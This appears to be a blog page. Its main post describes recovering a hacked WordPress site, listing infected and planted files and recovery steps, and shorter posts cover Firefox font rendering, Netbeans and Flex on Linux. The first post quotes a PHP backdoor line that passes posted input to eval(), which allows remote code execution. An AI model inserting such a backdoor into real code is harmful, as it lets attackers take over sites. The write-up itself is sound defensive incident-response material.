Malware and Restoring WordPress Security

Lately I had an occasion to work on restoring a WordPress website from a malicious attack. I must admit I had never before had any issues with security, so this was a completely new experience.

A website of a client’s client was one day blocked by Google – the searches would view a message about the website being malicious rather than the usual site description – as well as some web browsers, like Firefox and Chrome. At first we got a bit irritated thinking it was caused by a slightly outdated version of WordPress or some plugin. After a bit of investigation, using Google’s Webmasters Tools, we found out that some of the pages had code injected that would immediately redirect visitors to a truly suspicious website.

Google was forgiven within an instance and a swift recovery operation started. First, WordPress and all plugins were updated to the latest versions. That was pretty crucial, because if any of the WP files had been meddled with they were quickly and easily restored to their correct versions. But, of course, there are lots of other files that are not a part of the WP core.

It took several hours, but it would seem I managed to find all infected files and removed them. The attacker(s) were very tricky planting files with names very similar to the core WP files. As an example, WP comes with wp-app.php file, but I found wp-apps.php, which just at a brief look didn’t look suspicious. But here is where updating WP came in handy. It made it easier to spot suspicious files because they had a different modification date. On opening such a file all doubts were gone, because the contents definitely didn’t look like anything WordPress-y. The arrogant attackers even had the nerve to include the following comment at the top of the files:

/* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */

Quite cheeky that!

So, here is a list of all files that I found, that were either infected (marked with INF; some malicious code was added to them) or planted (marked with PLA; a completely new files were added on the server).

  • wp-content
    • plugins
      • all-in-one-favicon/includes/settings-page/sp-footer.php – INF
    • themes
      • twentyeleven
        • footer.php – INF
        • sidebar-footer.php – INF
  • wp-includes
    • js
      • js – PLA
        • cnn.php – PLA
        • rconfig.php – PLA
        • wp-load.php – PLA
    • wp-var.php – PLA
  • wp-apps.php – PLA
  • wp-count.php – PLA
  • wp-register.php – INF

You will notice that a file was infected in the All In One Favicon plugin. However, I do not think or even suspect, that the plugin creators had anything to do with the infection!

So, what was the infectious code? Mostly, it was just two lines of code, but very tricky! Take a look at the following PHP code:

if (isset($_POST['wp-load'])) {
eval($_POST['wp-load']);
};

It basically allows to run any text posted from a form as PHP code. Of course attacker wouldn’t be writing any text, it would be some malicious code which would then be executed.

Further investigation revealed the site was a victim to the notorious r57shell backdoor. Just google it and you’ll see ;)

So, what other steps did we take? Beside updating WordPress and the plugins and removing all malicious code, we also changed ALL passwords: users, admins, ftp, database. We also followed this WP FAQ and this tutorial on Hardenning WordPress and another one. Implementing all the advice included in these tutorials was followed by signing up with Sucuri.

Also worth mentioning is the fact that the site was un-blocked by Google at al. after less than 24 h since we had requested a review. That was very quick! Now we can hopefully go back to the much more enjoyable coding! :)

Webfonts glitch in Firefox on Linux

The Google Web Fonts website is one of web designers’ favourite pages. It’s one of my favourites to be sure! We just itch to replace Arial with something that actually looks nice, has better readability and gives more character to our projects.

On one of my latest projects I noticed though that some fonts were not rendered the same across all browsers. The fonts were rendered noticeably larger in Firefox. Since Firefox is my favourite browser, not only for web development, I eagerly assumed it must have been the other browsers rendering fonts badly.

When on my next project the same was happening with a different font I decided to investigate the issue. To cut the story short, unfortunately it is Firefox that renders web fonts too large, but as it seems only on Linux. But then it’s not all fonts that are distorted – it’s only fonts that come in normal weight (400) but are made bold in the CSS (700 or just bold). Firefox renders fonts exactly as it should if they are provided in the correct weights, but, unlike other browsers, it’s incapable of rendering properly bold fonts when only normal weight is provided. Kind of logical, but the abilities of other browsers on the font front encouraged me to introduce this poor practice into my routine. So after all, it’s not even Firefox, I guess it’s me! :)

From now on, if I want to use a font for both normal and bold text I make sure it comes in both weights. The href attribute in the link tag for it should look something like this:

http://fonts.googleapis.com/css?family=Ubuntu:400,700

If you’ve been having weird issues with font rendering in Firefox I hope the above explains it :)

Back to Netbeans

Gladly I would like to share that last week I made a successful come back to using Netbeans. I used to be using Netbeans a lot for C++ programming, mostly because of its convenient compiler function. In a previous post, about Flex development on Linux, I mentioned though having some performance issues with Netbeans. The main issue was that switching from one file to another would sometimes take like 5-10 seconds. If you switch between files a lot you lose a lot of time that way. Continue reading

Get started with Flex development on Linux

Hi everyone!

This post is meant to be a simple tutorial about how you can get started with developing Flex applications on your Linux machine. Before we dive into the tutorial itself let me just make it clear that the way I’m going to present here is not the only one. You can start developing Flex on Linux by downloading Flex Builder from Adobe. The reason why I don’t use it is that it seems that Adobe has put the development of the Linux version of FB away for a while. The available FB is still in alpha version and hasn’t been updated for quite some time. That unfortunately means you can’t use it with the latest Eclipse (FB for Linux comes as an Eclipse plugin). Anyway, let’s get started.

What you will need for this tutorial is:

I run Linux Mint 7, Komodo Edit 5.1.4 and the open source version of Flex SDK 3.4.

Continue reading